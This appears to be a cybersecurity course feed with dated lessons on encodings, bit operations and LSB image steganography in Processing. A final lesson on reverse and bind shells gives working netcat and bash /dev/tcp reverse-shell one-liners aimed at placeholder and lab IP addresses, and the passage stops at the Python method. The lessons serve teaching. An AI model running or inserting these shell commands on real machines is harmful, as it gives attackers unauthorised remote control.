&lt;li&gt;ASCII/Decimal - Strings consisting of numners 0-9 with two or three characters. &lt;br/&gt;Example: &lt;em&gt;72 101 108 108 111 32 119 111 114 108 100 33&lt;/em&gt;&lt;/li&gt;
&lt;li&gt;Octal - Strings consisting of numbers 0-7 in groups of three (sometimes two if leading zero is omitted). &lt;br/&gt;Example: &lt;em&gt;110 145 154 154 157 040 127 157 162 154 144 041&lt;/em&gt;&lt;/li&gt;
&lt;li&gt;Morse - Strings of dots, dashes and spaces. &lt;br/&gt;Example: &lt;em&gt;.... . .-.. .-.. --- / .-- --- .-. .-.. -.. -.-.--&lt;/em&gt;&lt;/li&gt;
&lt;li&gt;snow - Whitespace steganography tool  &lt;a href="http://www.darkside.com.au/snow/"&gt;http://www.darkside.com.au/snow/&lt;/a&gt;&lt;/li&gt;
&lt;/ol&gt;
&lt;p&gt;&lt;a href="#TOP"&gt;go back to the top of the page&lt;/a&gt;&lt;/p&gt;
&lt;/div&gt;</content><link href="https://konstantinnovation.github.io/cyber.html#2026-03-30n"/><published>2026-03-30T12:00:00+00:00</published></entry><entry><id>2026-03-31n</id><title>2026-03-31</title><updated>2026-03-31T12:00:00+00:00</updated><content type="html">&lt;div class="contentBlock" id="2026-03-31n"&gt;
&lt;h5&gt;2026-03-31&lt;/h5&gt;
&lt;h3&gt;Pre-Lab: Looking at bits&lt;/h3&gt;
&lt;pre&gt;&lt;code&gt;int x = 7;
println(x&amp;amp;8);
println(x&amp;amp;4);
println(x&amp;amp;2);
println(x&amp;amp;1);&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;Expected output:&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;0
4
2
1&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;Since we cannot use int's as booleans in java, you can convert to bits with an if, and use that to display the value in binary:&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;void printBit(int x){
 if(x == 0){
   print(0);
 }else{
   print(1);
 }
}

//print the last 4 digits of a binary number
void printBinary(int x){
  printBit(x&amp;amp;8);
  printBit(x&amp;amp;4);
  printBit(x&amp;amp;2);
  printBit(x&amp;amp;1);
  println();
}&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;Now we can do soemthing like this:&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;int x = 7;
printBinary(x);&lt;/code&gt;
  &lt;/pre&gt;
&lt;p&gt;Expected output:&lt;/p&gt;
&lt;p&gt;&lt;code&gt;0111&lt;/code&gt; &lt;/p&gt;
&lt;p&gt;Of course, you can use the built in functions as well, but what fun is that?&lt;/p&gt;
&lt;p&gt;&lt;code&gt;println(Integer.toBinaryString(x));&lt;/code&gt;&lt;/p&gt;
&lt;p&gt;&lt;code&gt;println(Integer.toString(x,2));//choose any base not just 2.&lt;/code&gt;&lt;/p&gt;
&lt;p&gt;Expected output: (both of the above are the same)&lt;/p&gt;
&lt;p&gt;&lt;code&gt;0111&lt;/code&gt; &lt;/p&gt;
&lt;p&gt;Notice no leading zeroes.&lt;/p&gt;
&lt;h3&gt;Changing bits&lt;/h3&gt;
&lt;p&gt;What does this do to the value of x?&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;x=7;
x = x &amp;amp; 5;&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;We know that &lt;code&gt;5 == 4 + 1&lt;/code&gt; , so you can rewrite this for clarity:&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;x=7;
x = x &amp;amp; (4+1);
printBinary(x);&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;Expected output:&lt;/p&gt;
&lt;p&gt;&lt;code&gt;0101&lt;/code&gt; &lt;/p&gt;
&lt;h3&gt;Write a function using what you know:&lt;/h3&gt;
&lt;p&gt;Write a function that returns true when the last three bits of an int are 000.&lt;/p&gt;
&lt;p&gt;&lt;code&gt;boolean lastThreeAreZero(int x){}&lt;/code&gt; &lt;/p&gt;
&lt;p&gt;Write a function that prints all the bits of the integer including leading 0's.&lt;/p&gt;
&lt;p&gt;hint: don't manaully type all the powers of 2.&lt;/p&gt;
&lt;p&gt;&lt;code&gt;String toBinaryString(int x){}&lt;/code&gt; &lt;/p&gt;
&lt;h3&gt;Classwork/Homework:&lt;/h3&gt;
&lt;p&gt;Here is the cat you must download:&lt;/p&gt;
&lt;a href="img/cat.png"&gt;cat.png&lt;/a&gt;
&lt;p&gt;This sketch will open "cat.png"&lt;/p&gt;
&lt;p&gt;I will give some class time to allow for questions and fixing of issues if you find it incomprehensible. &lt;/p&gt;
&lt;p&gt;Here is an ENCODER template:&lt;/p&gt;
&lt;p&gt;Create a sketch called &lt;code&gt;image_encoder&lt;/code&gt; and save it in your Classwork Repo at the top level.&lt;/p&gt;
   Use the processing sketch menu -&amp;gt; Add file, to add cat.png to your sketch.
   &lt;p&gt;Run the sketch to generate the input to the decoder. &lt;/p&gt;
&lt;pre class="codeblock"&gt;&lt;code&gt;import java.util.Arrays;

//Note: for code that runs one time place all code in setup.
void setup() {
  size(1200, 600);
  //0. If you want to change the size to display the image you can print the dimensions here:
  //println(img.width,img.height);

  //1. Download cat.png add the to the sketch before running.
  PImage img = loadImage("cat.png");

  //2. Print out the first 30 pixels of the image in the format:
  //(R,G,B):(R2,G2,B2) one per line, where R,G and B are 0-255 in base 10,
  //                       and r2,g2,b2 are binary format of those numbers.

  //3. Write lastThreeAreZero below.

  //4. Print the corresponding 3 true/false for each pixel if any r/g/b end in 000.
  //eg your output should be very close to this format:
  // (0,255,255)    :  (00000000,11111111,11111111) true,  false,  false
  // (255,255,255)  :  (11111111,11111111,11111111) false, false,  false

  //5. Check with others.  There should be 4 color channels in the first 30 pixels with tru turned on.
  //Pixel 0 blue,Pixel 14 red, and Pixel 23 red+green.
}
boolean lastThreeAreZero(int x){
  return false;
}

&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;&lt;a href="#TOP"&gt;go back to the top of the page&lt;/a&gt;&lt;/p&gt;
&lt;/div&gt;</content><link href="https://konstantinnovation.github.io/cyber.html#2026-03-31n"/><published>2026-03-31T12:00:00+00:00</published></entry><entry><id>2026-04-01n</id><title>2026-04-01</title><updated>2026-04-01T12:00:00+00:00</updated><content type="html">&lt;div class="contentBlock" id="2026-04-01n"&gt;
&lt;h5&gt;2026-04-01&lt;/h5&gt;
&lt;p&gt;Here is the actual ENCODER template:&lt;/p&gt;
&lt;p&gt;Create a sketch called &lt;code&gt;image_encoder&lt;/code&gt; and save it in your Classwork Repo at the top level.&lt;/p&gt;
     Use the processing sketch menu -&amp;gt; Add file, to add cat.png to your sketch.
     &lt;p&gt;Run the sketch to generate the input to the decoder. &lt;/p&gt;
&lt;pre class="codeblock"&gt;&lt;code&gt;import java.util.Arrays;
int GREEDY = 0;
int SELECTIVE = 1;
int MODE = GREEDY;
//Note: for code that runs one time place all code in setup.
void setup() {
  size(1200, 600);
  //0. If you want to change the size to display the image you can print the dimensions here:
  //println(img.width,img.height);

  //1. Include the cat.png in your Sketch/data/ folder.
  PImage img = loadImage("cat.png");

  //2. Write the MESSAGETOARRAY method
  //convert the string into an array of ints in the range 0-3
  String messageToEncode = "This is a message encoded using LSBSteganography. There are two modes that can be selected. This text is getting longer but is just used to make more pixels different.";
  int[]parts = messageToArray(messageToEncode);

  //3. Write the MODIFY method.
  modifyImage(img, parts);

  //save the modified image to disk.
  img.save("encoded.png");
}

int [] messageToArray(String s) {
  int[]parts = new int[s.length() * 4 + 4 ]; //include the terminating character here.
  //calculate the array


  /**Verify the contents of the array before you do more.
   'T' -&amp;gt; 01010100 -&amp;gt; 01 01 01 00 -&amp;gt; 1, 1, 1, 0
   'h' -&amp;gt; 01101000 -&amp;gt; 01 10 10 00 -&amp;gt; 1, 2, 2, 0
   'i' -&amp;gt; 01101001 -&amp;gt; 01 10 10 01 -&amp;gt; 1, 2, 2, 1
   's' -&amp;gt; 01110011 -&amp;gt; 01 11 00 11 -&amp;gt; 1, 3, 0, 3
   ...etc.
   So your data array would look like this with the terminating character at the end:
   { 1, 1, 1, 0, 1, 2, 2, 0, 1, 2, 2, 1, 1, 3, 0, 3,  ... 3, 3, 3, 3}
   */
  return parts;
}

void modifyImage(PImage img, int[]messageArray) {
  //load the image into an array of pixels.
  img.loadPixels();
  //You can use img.pixels[index] to access this array

  if (MODE == GREEDY) {
    //GREEDY mode : use each pixel in order until you are done with the message.
    //Loop over the pixels in order. For each pixel:
    //-Take the next array value and write it to the red channel of the pixel.
    //-When there are no more letters, write a terminating character.
    //This means 4 pixels will store 1 char value from your String.
    //The terminating character is the value 255.
    //Note: (255 is 11111111b and 11b is just 3, make the last
    //four pixels store {3,3,3,3}
  } else if (MODE == SELECTIVE) {
    //SELECTIVE MODE: only use some of the pixels based on some criteria
    //when the red and green end in 00, modify the last 2 bits of blue with the bit value.
    //e.g.   if the pixel is r = 1100 ,g=1100 and blue=11xy, replace the xy in the blue with the next message value.
    //To terminate the message:
    //when no more message is left to encode, change all the remaining red values that end in 00 to 01.
    //This means the number of pixels that qualify for decoding will be a multiple of 4.
  }

  //write the pixel array back to the image.
  img.updatePixels();
}
  &lt;/code&gt;&lt;/pre&gt;
&lt;h3&gt;To help debug you can print the parts of your letters:&lt;/h3&gt;
&lt;p&gt;This is the start of the encoded message:&lt;/p&gt;
&lt;pre&gt;
   1 1 1 0 (T 01010100)
   1 2 2 0 (h 01101000)
   1 2 2 1 (i 01101001)
   1 3 0 3 (s 01110011)
   &lt;/pre&gt;
&lt;p&gt;So your data array would look like this:&lt;/p&gt;
&lt;code&gt;{ 1, 1, 1, 0, 1, 2, 2, 0, 1, 2, 2, 1, 1, 3, 0, 3}&lt;/code&gt;
&lt;h2&gt;Decoder:&lt;/h2&gt;
&lt;p&gt;You will additionally create a function that will open &lt;code&gt;encoded.png&lt;/code&gt;.
       It should extract the data using the same mode. &lt;/p&gt;
&lt;p&gt;Make sure you extract the same data array that you injected into your image previously.&lt;/p&gt;
&lt;p&gt;You are doing this in the same file to maek it easy to compare, later you will be given a different image and the decode must work.&lt;/p&gt;
&lt;p&gt;&lt;strong&gt;Urgent:&lt;/strong&gt; You should verify you get the same array values
      when you decode prior to converting back to a String...&lt;/p&gt;
&lt;p&gt;&lt;a href="#TOP"&gt;go back to the top of the page&lt;/a&gt;&lt;/p&gt;
&lt;/div&gt;</content><link href="https://konstantinnovation.github.io/cyber.html#2026-04-01n"/><published>2026-04-01T12:00:00+00:00</published></entry><entry><id>2026-04-13n</id><title>2026-04-13</title><updated>2026-04-13T12:00:00+00:00</updated><content type="html">&lt;div class="contentBlock" id="2026-04-13n"&gt;
&lt;h5&gt;2026-04-13&lt;/h5&gt;
&lt;p&gt;In your classwork repo, make a folder: image_processing/&lt;/p&gt;
&lt;p&gt;Inside this folder you will have 2 sketches:&lt;/p&gt;
&lt;ol&gt;
&lt;li&gt;image_encoder (The sketch template was provided but you must add more.)&lt;/li&gt;
&lt;li&gt;image_diff (You will create this later)&lt;/li&gt;
&lt;/ol&gt;
&lt;p&gt;You will now be able to use a makefile to run your processing sketches using ARGS&lt;/p&gt;
&lt;ol&gt;
&lt;li&gt;make encode ARGS="whatever"
    &lt;/li&gt;&lt;li&gt;make decode ARGS="whatever"
    &lt;/li&gt;&lt;li&gt;make diff ARGS="whatever"
  &lt;/li&gt;&lt;/ol&gt;
&lt;p&gt;Here is your makefile to be placed in &lt;code&gt;/image_processing/&lt;/code&gt; :&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;noargs:
	@echo "usage: make encode/decode/diff ARGS=\"various required args\""
decode:
	processing cli --sketch=image_encoder --run -a DECODE $(ARGS)
encode:
	processing cli --sketch=image_encoder --run -a ENCODE $(ARGS)
	cp ./image_encoder/*.png ./image_encoder/data/
diff:
	processing cli --sketch=image_diff --run $(ARGS)
&lt;/code&gt;&lt;/pre&gt;
&lt;h3&gt;Running remotely:&lt;/h3&gt;
&lt;p&gt;You can remotely run processing-java in the lab.&lt;/p&gt;
&lt;p&gt;Please DO NOT use this on marge/homer/etc. SSH onto a student workstation first!&lt;/p&gt;
&lt;p&gt;Use the command xvfb-run before the processing-java command as such:&lt;/p&gt;
&lt;code&gt;xvfb-run processing-java --sketch=image_encoder --run -a -DECODE -i encoded32SELECTIVE.png -m SELECTIVE&lt;/code&gt;
&lt;p&gt;Make sure you ctrl-c the proess if you don't get your terminal back!&lt;/p&gt;
&lt;h3&gt;Encoder/Decoder template:&lt;/h3&gt;
&lt;pre&gt;&lt;code&gt;
import java.util.Arrays;

//GREEDY/SELECTIVE are exclusive
final static int GREEDY = 0;
final static int SELECTIVE = 1;

//CONTENTS TO BE ENCRYPTED or DECRYPTED:
//FILE/PLAINTEXT are exclusive
final static int FILE = 2;
final static int TEXTONLY = 3;//
//FILE Only works with SELECTIVE

//ENCODE and DECODE are EXCLUSIVE
final static int ENCODE = 4;
final static int DECODE = 5;

int MODE = GREEDY;
int ACTION = ENCODE;
int DATA_TYPE = TEXTONLY;

//default values:
String PLAINTEXT = "This is some text to encode";//for TEXTONLY
String INPUTFILENAME="input.png";// Image to hide things in
String MESSAGEFILENAME="data.dat";// for FILE mode
String OUTPUTFILENAME="encoded.png";
//the parseArgs function will set the above variables to non-defaults


ArrayList&amp;lt;Integer&amp;gt; getParts(PImage img){
  ArrayList&amp;lt;Integer&amp;gt;parts = new ArrayList&amp;lt;Integer&amp;gt;();
  if(MODE == GREEDY){
    //calculate parts here.
    return parts;
  }else if(MODE == SELECTIVE){
    //calculate parts here.
    return parts;
  }

  //error
  println("Error no valid mode");
  return null;
}

//convert the parts arraylist into an array of bytes and return it
byte[] getBytes(ArrayList&amp;lt;Integer&amp;gt; parts) {
  int size = 0;//CALCULATE THE SIZE
  byte[]ans = new byte[size];
  //populate the byte array
  return ans;
}


//print the string that is created from an arraylist of parts
//parts should have: size() % 4 == 0
String decode(ArrayList&amp;lt;Integer&amp;gt;parts){
  String ans = "";
  return ans;
}




void setup()
{
  if(args==null){
    println("no arguments provided");
    println("flags: -a (ENCODE/DECODE) -m MODE (GREEDY/SELECTIVE) -t (PLAINTEXT/FILE) -i INPUTFILENAME -o OUTPUTFILENAME -x MESSAGEFILENAME -p PLAINTEXTMESSAGE");
    return;
  }
  if(!parseArgs()){
    println("Parsing argument error;");
    return;
  }

  //IF DECODE:
  if(ACTION == DECODE){
    PImage img = loadImage(INPUTFILENAME);
    //get the parts from the file
    ArrayList&amp;lt;Integer&amp;gt; parts =  getParts(img);

    //decode it or save it to a file
    if(DATA_TYPE == TEXTONLY){
      println( decode(parts) );
    }else if(DATA_TYPE == FILE) {
      byte[]nums = getBytes(parts);
      println("Saving file: "+OUTPUTFILENAME);
      //built in processing function:
      saveBytes(OUTPUTFILENAME, nums);
    }
  }
  //IF ENCODE:
  if(ACTION == ENCODE){
    //look at DECODE and see how to write this.
    //you should use getBytes, etc.
  }

}

//------------------DO NOT CHANGE THESE FUNCTIONS---------------------
void draw(){
   exit();
}


boolean parseArgs(){
  String debug = "";
  if (args != null) {
    for (int i = 0; i &amp;lt; args.length; i++){
      debug = args[i];
      try{
        if(args[i].equals("-i")){
            INPUTFILENAME=args[i+1];
        }

        if(args[i].equals("-o")){
            OUTPUTFILENAME=args[i+1];
        }

        if(args[i].equals("-x")){
            MESSAGEFILENAME=args[i+1];
        }

        if(args[i].equals("-p")){
            PLAINTEXT=args[i+1];
        }

        if(args[i].equals("-t")){
            String modeString=args[i+1];
            if(modeString.equalsIgnoreCase("FILE")){
                DATA_TYPE = FILE;
            }else if(modeString.equalsIgnoreCase("TEXTONLY")){
                DATA_TYPE = TEXTONLY;
            } else{
              	println("Invalid DATA_TYPE choice, defaulting to TEXTONLY");
              	DATA_TYPE = TEXTONLY;
            }

        }
        if(args[i].equals("-a")){
          String modeString=args[i+1];
          if(modeString.equalsIgnoreCase("ENCODE")){
              ACTION = ENCODE;
          }else if(modeString.equalsIgnoreCase("DECODE")){
              ACTION = DECODE;
          }else{
              println("Invalid MODE choice, defaulting to DECODE");
              ACTION = DECODE;
          }

        }

        if(args[i].equals("-m")){
          String modeString=args[i+1];
          if(modeString.equalsIgnoreCase("greedy")){
              MODE = GREEDY;
          }else if(modeString.equalsIgnoreCase("selective")){
              MODE = SELECTIVE;
          }else{
              println("Invalid MODE choice, defaulting to GREEDY");
              MODE = GREEDY;
          }

        }
      }catch(ArrayIndexOutOfBoundsException e){
        println("Argument flag expected a second part, "+debug+" required mode afterwards.");
        //e.printStackTrace();//for debugging
        exit();
      }
    }
  }
  return true;
}&lt;/code&gt;&lt;/pre&gt;
&lt;h3&gt;Testing everything:&lt;/h3&gt;
&lt;ol&gt;
&lt;li&gt; Decode in GREEDY + TEXTONLY mode, the message in this image: &lt;a href="img/catWithMessage.png"&gt;CatWithMessage.png&lt;/a&gt;
&lt;/li&gt;&lt;li&gt; Decode in SELECTIVE + TEXTONLY mode, the message in this image (bytes stored  = 2447): &lt;a href="img/catTwoSelective.png"&gt;catTwoSelective.png&lt;/a&gt;
&lt;/li&gt;&lt;li&gt; Decode in SELECTIVE + TEXTONLY mode, the message in this image (bytes stored = 1625): &lt;a href="img/modifiedCatSELECTIVE.png"&gt;modifiedCatSELECTIVE.png&lt;/a&gt;
&lt;/li&gt;&lt;li&gt; Decode in SELECTIVE + FILE mode, the message is a PNG file in this image  &lt;a href="img/nested_encoded.png"&gt;nested_encoded.png&lt;/a&gt;.
   &lt;/li&gt;&lt;li&gt; DECODE in SELECTIVE + FILE mode, the PNG you decoded above, and extract another PNG.

 &lt;/li&gt;&lt;/ol&gt;
&lt;p&gt;&lt;a href="#TOP"&gt;go back to the top of the page&lt;/a&gt;&lt;/p&gt;
&lt;/div&gt;</content><link href="https://konstantinnovation.github.io/cyber.html#2026-04-13n"/><published>2026-04-13T12:00:00+00:00</published></entry><entry><id>2026-04-16n</id><title>2026-04-16</title><updated>2026-04-16T12:00:00+00:00</updated><content type="html">&lt;div class="contentBlock" id="2026-04-16n"&gt;
&lt;h5&gt;2026-04-16&lt;/h5&gt;
&lt;h3&gt;image_diff&lt;/h3&gt;
&lt;p&gt;You are creating a final sketch to show you visually when images are different.&lt;/p&gt;
&lt;p&gt;This is easier than the previous sketches, your goal is to give it two png files, and it will do the following:&lt;/p&gt;
&lt;ol&gt;
&lt;li&gt;Visually show the &lt;strong&gt;differences&lt;/strong&gt; between the original and modified images.&lt;/li&gt;
&lt;li&gt;Initially it loads the files: cat.png and modifiedCat.png (or the provided arguments filenames with the -o and -m flag.) .&lt;/li&gt;
&lt;li&gt;Pressing space will cycle through the modes listed below.&lt;/li&gt;
&lt;ul&gt;
&lt;li&gt;DEFAULT: will display the original image.&lt;/li&gt;
&lt;li&gt;DIFF: will display the original image but for every pixel that is different make that pixel PURPLE (red+blue).&lt;/li&gt;
&lt;li&gt;DIFF_R: same as DIFF, but only compare the red channel, differences will be red, the same will be white.&lt;/li&gt;
&lt;li&gt;DIFF_G: same as DIFF, but only compare the green channel, differences will be green, the same will be white.&lt;/li&gt;
&lt;li&gt;DIFF_B: same as DIFF, but only compare the blue channel, differences will be blue, the same will be white.&lt;/li&gt;
&lt;/ul&gt;
&lt;li&gt;For all modes, write the name of the mode in the bottom right corner using the &lt;code&gt;text()&lt;/code&gt; command, so you know which mode you are in.&lt;/li&gt;
&lt;/ol&gt;
&lt;pre&gt;&lt;code&gt;import java.util.Arrays;
int DEFAULT = 0;
int DIFF = 1;
int DIFF_R = 2;
int DIFF_G = 3;
int DIFF_B = 4;

int MODE = DEFAULT;

String FILE1="cat.png";
String FILE2="modifiedCat.png";
PImage img1;
PImage img2;


//Your goal:
//Write the command that updates img1 based on the mode
void updateScreen(){
  img1 = loadImage(FILE1);
  img2 = loadImage(FILE2);
  img1.loadPixels();
  img2.loadPixels();


  if(MODE==DEFAULT){
      //default does nothing to the image
      println("DEFAULT");
  }else if(MODE==DIFF){
    println("DIFF");
    //change the image to purple pixels where needed
  }
  img1.updatePixels();
  image(img1,0,0);
}


void settings() {
  if(args==null){
    println("no arguments provided");
    println("flags: -m MODIFIEDFILENAME -o ORIGINALFILENAME");
    return;
  }
  if(!parseArgs()){
    println("Parsing argument error;");
    return;
  }
  println(FILE1);
  println(FILE2);
  img1 = loadImage(FILE1);
  img2 = loadImage(FILE2);
  size(img1.width, img1.height);

}


void setup() {
  updateScreen();
}


void draw(){
    //this is needed for keyPressed
}

void keyPressed(){
  MODE++;
  MODE%=5;
  updateScreen();
}


boolean parseArgs(){
  if (args != null) {
    for (int i = 0; i &amp;lt; args.length; i++){


      if(args[i].equals("-o")){
        if(args[i+1]!=null){
          FILE1=args[i+1];
        }else{
          println("-o requires filename as next argument");
          return false;
        }
      }

      if(args[i].equals("-m")){
        if(args[i+1]!=null){
          FILE2=args[i+1];


        }else{
          println("-m requires filename as next argument");
          return false;
        }
      }
    }
  }
  return true;
}
&lt;/code&gt; &lt;/pre&gt;
&lt;h3&gt;Testing everything:&lt;/h3&gt;
&lt;ol&gt;
&lt;li&gt; Diff these images: &lt;a href="img/cat.png"&gt;cat.png&lt;/a&gt; &lt;a href="img/modifiedCatSELECTIVE.png"&gt;modifiedCatSELECTIVE.png&lt;/a&gt;
&lt;image_processing&gt; Diff these images: &lt;a href="img/catTwo.png"&gt;catTwo.png&lt;/a&gt; &lt;a href="img/catTwoSelective.png"&gt;catTwoSelective.png&lt;/a&gt;
&lt;li&gt; Diff these images: &lt;a href="img/space.png"&gt;space.png&lt;/a&gt; &lt;a href="img/modifiedSpace.png"&gt;modifiedSpace.png&lt;/a&gt;
&lt;p&gt;&lt;a href="#TOP"&gt;go back to the top of the page&lt;/a&gt;&lt;/p&gt;
&lt;/li&gt;&lt;/image_processing&gt;&lt;/li&gt;&lt;/ol&gt;&lt;/div&gt;</content><link href="https://konstantinnovation.github.io/cyber.html#2026-04-16n"/><published>2026-04-16T12:00:00+00:00</published></entry><entry><id>2026-04-17n</id><title>2026-04-17</title><updated>2026-04-17T12:00:00+00:00</updated><content type="html">&lt;div class="contentBlock" id="2026-04-17n"&gt;
&lt;h5&gt;2026-04-17&lt;/h5&gt;
&lt;h2&gt;Deadline&lt;/h2&gt;
&lt;p&gt;Please make sure you complete your image processing lab by monday 8am. This includes all of the encode/decode/diff tools from this week's assignments.&lt;/p&gt;
&lt;p&gt;&lt;a href="#TOP"&gt;go back to the top of the page&lt;/a&gt;&lt;/p&gt;
&lt;/div&gt;</content><link href="https://konstantinnovation.github.io/cyber.html#2026-04-17n"/><published>2026-04-17T12:00:00+00:00</published></entry><entry><id>2026-04-20n</id><title>2026-04-20</title><updated>2026-04-20T12:00:00+00:00</updated><content type="html">&lt;div class="contentBlock" id="2026-04-20n"&gt;
&lt;h5&gt;2026-04-20&lt;/h5&gt;
&lt;h2&gt;Reverse Shell and Bind Shell&lt;/h2&gt;
&lt;p&gt;You know a shell is a command line interface that allows you to run commands.&lt;/p&gt;
&lt;p&gt;
    A &lt;strong&gt;Bind Shell&lt;/strong&gt; session initiated from an attack machine towards a target machine.
    The target machine listens on a specified port, on which it receives connection from the attacker machine.
    After the connection is made, the attack machine has a shell on the target machine.
  &lt;/p&gt;
&lt;p&gt;Bind shells don't always work for you because you have to get past a firewall to access a target machine.&lt;/p&gt;
&lt;p&gt;
    A &lt;strong&gt;Reverse Shell&lt;/strong&gt; is a session that initiates from a remote machine i.e.
    target host to the attacker machine. The attack machine listens on
    a specified port. After the connection is made, the attack machine
    has a shell on the target machine.
  &lt;/p&gt;
&lt;p&gt;A reverse shell will allow the target machine to bypass the firewall for you!&lt;/p&gt;
&lt;img alt="reverse shell image" loading="lazy" src="img/reverseshell.jpg" width="800px"/&gt;
&lt;h3&gt;Netcat&lt;/h3&gt;
&lt;p&gt;Netcat is a Command-line Interface (CLI) tool that is use to read/write data over TCP/UDP. &lt;/p&gt;
&lt;p&gt;It is a Back-End tool which can be cross utilized by other programs (can connect to it with many other applications).&lt;/p&gt;
&lt;h4&gt;Documentation states that Netcat can be used for:&lt;/h4&gt;
&lt;ol&gt;
&lt;li&gt;It can allow other programs to establish connections etc.&lt;/li&gt;
&lt;li&gt;Outbound/Inbound (TCP + UDP) connections&lt;/li&gt;
&lt;li&gt;Any source port can be used by netcat&lt;/li&gt;
&lt;li&gt;Can use any configured source network address (locally).&lt;/li&gt;
&lt;li&gt;Port Scanning&lt;/li&gt;
&lt;li&gt;It can read CLI arguments from STDIN&lt;/li&gt;
&lt;li&gt;Slow transmitting mode&lt;/li&gt;
&lt;li&gt;Hex-dump of any communication.&lt;/li&gt;
&lt;/ol&gt;
&lt;p&gt;Netcat's 1st feature is the one we care about for today's activity.&lt;/p&gt;
&lt;h3&gt;Instalation&lt;/h3&gt;
&lt;p&gt;Linux:&lt;/p&gt;
&lt;pre&gt;sudo apt-get install netcat&lt;/pre&gt;
&lt;p&gt;Mac:&lt;/p&gt;
&lt;pre&gt;brew install netcat&lt;/pre&gt;
&lt;p&gt;Windows:&lt;/p&gt;
&lt;p&gt;
    You can find a binary here: &lt;a href="https://joncraton.org/blog/46/netcat-for-windows/"&gt;https://joncraton.org/blog/46/netcat-for-windows/&lt;/a&gt;
&lt;/p&gt;
&lt;h3&gt;What are we doing?&lt;/h3&gt;
&lt;ol&gt;
&lt;li&gt;Listen for connections on the attack box.
    &lt;/li&gt;&lt;li&gt;Find a way to perform Remote Code Execution (RCE),
    &lt;/li&gt;&lt;li&gt;The RCE should trigger the reverse shell.
    &lt;/li&gt;&lt;li&gt;Now you have access from your attack box to the target machine!
  &lt;/li&gt;&lt;/ol&gt;
&lt;p&gt;To listen: Netcat is easy to use and cross platform so we will try to use it to &lt;strong&gt;listen for a connection&lt;/strong&gt; on the attack machine.&lt;/p&gt;
&lt;p&gt;To connect back: The program that &lt;strong&gt; initiates the connection&lt;/strong&gt; can vary (python, bash , ncat, perl, php, etc.)&lt;/p&gt;
&lt;h3&gt;Reverse shell&lt;/h3&gt;
&lt;p&gt;There are three steps in setting up a reverse shell:&lt;/p&gt;
&lt;ol&gt;
&lt;li&gt;Set Up a Netcat listener on the attacking machine. &lt;pre&gt;&lt;code&gt;nc -lvp PORT_NUMBER&lt;/code&gt;&lt;/pre&gt; (all versions of netcat can do this) &lt;/li&gt;
&lt;li&gt;Connect back to Netcat listener from target machine using some script. (requires some form of remote code execution) &lt;/li&gt;
&lt;li&gt;Type commands on attacking machine to send them to the target through the Netcat shell session.&lt;/li&gt;
&lt;/ol&gt;
&lt;p&gt;
  Let us take a look at how to install a netcat reverse shell on various machines and how it can be used.
  Netcat is used in daily life of an ethical hacker and how we can get reverse shell through it. We then discussed edge case scenarios where a red teamer or an ethical hacker cannot get access to a Netcat binary.
  &lt;/p&gt;
&lt;h3&gt;All methods require a server on your attack box:&lt;/h3&gt;
&lt;p&gt;All methods require a listening server on the attack box. This can be EITHER version of netcat.&lt;/p&gt;
&lt;p&gt;netcat (nc or ncat) can be used to create a listening server for a reverse shell.&lt;/p&gt;
&lt;h4&gt;You have to forward the port to your attack box if you are behind a router&lt;/h4&gt;
&lt;p&gt;Open a shell, and run a server on a specific port here I chose 9001 for testing:&lt;/p&gt;
&lt;pre&gt;nc -lvp 9001&lt;/pre&gt;
&lt;ul&gt;
&lt;li&gt;-l                      for listen mode, for inbound connects&lt;/li&gt;
&lt;li&gt;-v                      for verbose&lt;/li&gt;
&lt;li&gt;-p [port]               for specifying port number&lt;/li&gt;
&lt;/ul&gt;
&lt;h3&gt;Test your server&lt;/h3&gt;
&lt;p&gt;Test by using a simple networking connection tool like telnet. You can &lt;code&gt;telnet ATTACKBOX PORT&lt;/code&gt; e.g. If your machine is cslab4-23, and you have netcat listening on port 9999 then telnet from any other machine as follows: &lt;code&gt;telnet 149.89.161.123 9999&lt;/code&gt;&lt;/p&gt;
&lt;h3&gt;Reverse Shell Method 1. Using netcat on the target machine:&lt;/h3&gt;
&lt;h4&gt;Run a command on the target box:&lt;/h4&gt;
&lt;p&gt;To connect your target box to your attack box you execute the following command. This could be via a script or non-interactive shell.
  &lt;/p&gt;
&lt;p&gt;&lt;/p&gt;&lt;pre&gt;ncat ATTACKER_IP PORT -e /bin/bash&lt;/pre&gt;
&lt;p&gt;&lt;/p&gt;&lt;pre&gt;ncat 192.168.100.113 9001 -e /bin/bash&lt;/pre&gt;
&lt;h4&gt;You are connected!&lt;/h4&gt;
&lt;p&gt;Now you can type commands on the attack box and have them run on the target machine! Be aware that you only have the same permissions as the account that is logged into the target machine.&lt;/p&gt;
&lt;p&gt;This may fail to work with &lt;code&gt;-e&lt;/code&gt; because the versions have different features.&lt;/p&gt;
&lt;h4&gt;Pros/Cons&lt;/h4&gt;
&lt;p&gt;This is a simple and effective way to get a reverse shell started. One major downside is that you need Netcat on the target host which is very often not the case in real world scenario.
    In some cases Netcat is present, or we have a way to install it,
    but in many cases we need to use alternatives ways to connect back to the attack box.
  &lt;/p&gt;
&lt;p&gt;Let's have a look at a few alternative ways to setup a reverse shell.&lt;/p&gt;
&lt;h3&gt;Method 2: bash on the target machine&lt;/h3&gt;
&lt;p&gt;You can connect bash to you netcat server. Since bash is usually present, this is more flexible than connecting with netcat.&lt;/p&gt;
&lt;p&gt;Again run a server on the attak machine:&lt;/p&gt;
&lt;pre&gt;nc -lvp 9001&lt;/pre&gt;
&lt;p&gt;
    With can now use Bash to initiate a reverse shell from the target host to the attack box
    by using the following command: (note you cannot do this from zsh, run bash as your shell first)
  &lt;/p&gt;
&lt;pre&gt;bash -i &amp;gt;&amp;amp; /dev/tcp/ATTACKER_ADDRESS/PORT 0&amp;gt;&amp;amp;1&lt;/pre&gt;
&lt;pre&gt;bash -i &amp;gt;&amp;amp; /dev/tcp/149.89.161.101/9001 0&amp;gt;&amp;amp;1&lt;/pre&gt;
&lt;h3&gt;Method3: python on the target machine &lt;/h3&gt;
